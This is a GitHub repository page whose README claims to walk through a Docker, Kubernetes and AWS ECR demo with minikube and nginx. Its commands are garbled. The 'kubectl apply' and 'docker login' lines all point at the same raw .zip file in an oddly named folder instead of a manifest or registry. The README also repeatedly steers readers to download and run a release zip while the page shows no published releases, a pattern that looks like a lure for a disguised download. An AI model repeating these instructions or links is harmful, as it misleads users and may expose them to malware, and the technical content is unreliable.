Skip to content

Asad0988/kubernetes-docker-ecr-demo

Repository files navigation

🌟 kubernetes-docker-ecr-demo - Quick Setup for Containerized Applications

Download

📋 Description

This project showcases how to use Docker, Kubernetes, AWS ECR, minikube, and nginx to containerize a simple HTML application. We will guide you through the process of pushing your containerized app to a private AWS ECR, and deploying it via Kubernetes. This demo solves common issues like ImagePullBackOff and ECR authentication challenges locally. It has been built in a short time to demonstrate effective learning and cloud-native skills.

🔧 Features

  • Docker-based containerization for apps.
  • Deployment using Kubernetes Pods, Services, and Deployments.
  • Interaction with AWS Elastic Container Registry (ECR).
  • Easy-to-follow setup process.

🚀 Getting Started

To get started, follow these steps:

  1. Download the Application
    Visit this page to download: Download Releases.

  2. Check System Requirements
    Make sure your system meets the following requirements:

    • A computer with at least 4GB of RAM.
    • Docker installed. You can download Docker from the official Docker website.
    • Minikube installed. Follow the instructions on the Minikube installation page.
    • An AWS account to access ECR. Ensure you have set up your AWS credentials.

📤 Download & Install

  1. Visit the Releases Page
    Go again to the Download Releases to access the latest version of the application.

  2. Download the Latest Zip File
    Find the latest release and download the zip file. This contains all necessary files to run the application.

  3. Extract the Zip File
    After downloading, locate the zip file on your computer. Right-click on it and choose "Extract All" or a similar option, depending onyour operating system.

  4. Open Terminal or Command Prompt
    Navigate to the folder where you extracted the files using your terminal (Mac/Linux) or command prompt (Windows).

  5. Run the Application
    Follow these commands based on your setup:

    • For Docker:
      Use the command below to build and run the Docker container.

      docker build -t my-app .
      docker run -d -p 80:80 my-app
    • For Kubernetes:
      Ensure Minikube is started. Run these commands:

      minikube start
      kubectl apply -f https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip
      kubectl apply -f https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip
  6. Access the Application
    After deployment, access your application through your web browser. For Minikube, you may need to use the following command to get the URL:

    minikube service my-app

⚙️ Configuration

To adjust settings for the application, you can edit configuration files located in the k8s directory. This includes:

Make sure to reload or redeploy the Kubernetes service if you make changes.

📝 Troubleshooting

If you encounter issues, try the following:

  • ImagePullBackOff Error:
    Ensure you have the correct permissions and credentials configured to access AWS ECR. You might need to log in using:

    aws ecr get-login-password --region your-region | docker login --username AWS --password-stdin https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip
  • Kubernetes Deployment Errors:
    Check the logs of your Kubernetes pods using:

    kubectl logs <pod-name>
  • Application Not Accessible:
    Confirm that your Minikube is running and your application is correctly exposed through the service.

🌐 Additional Resources

🤝 Contribution

If you wish to contribute to this project, please fork the repository, create a new branch, make your changes, and submit a pull request. Your contributions can help improve this project.

🙏 Acknowledgments

Thanks to everyone who contributed to this project, and to the open-source community for providing resources that make this possible.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •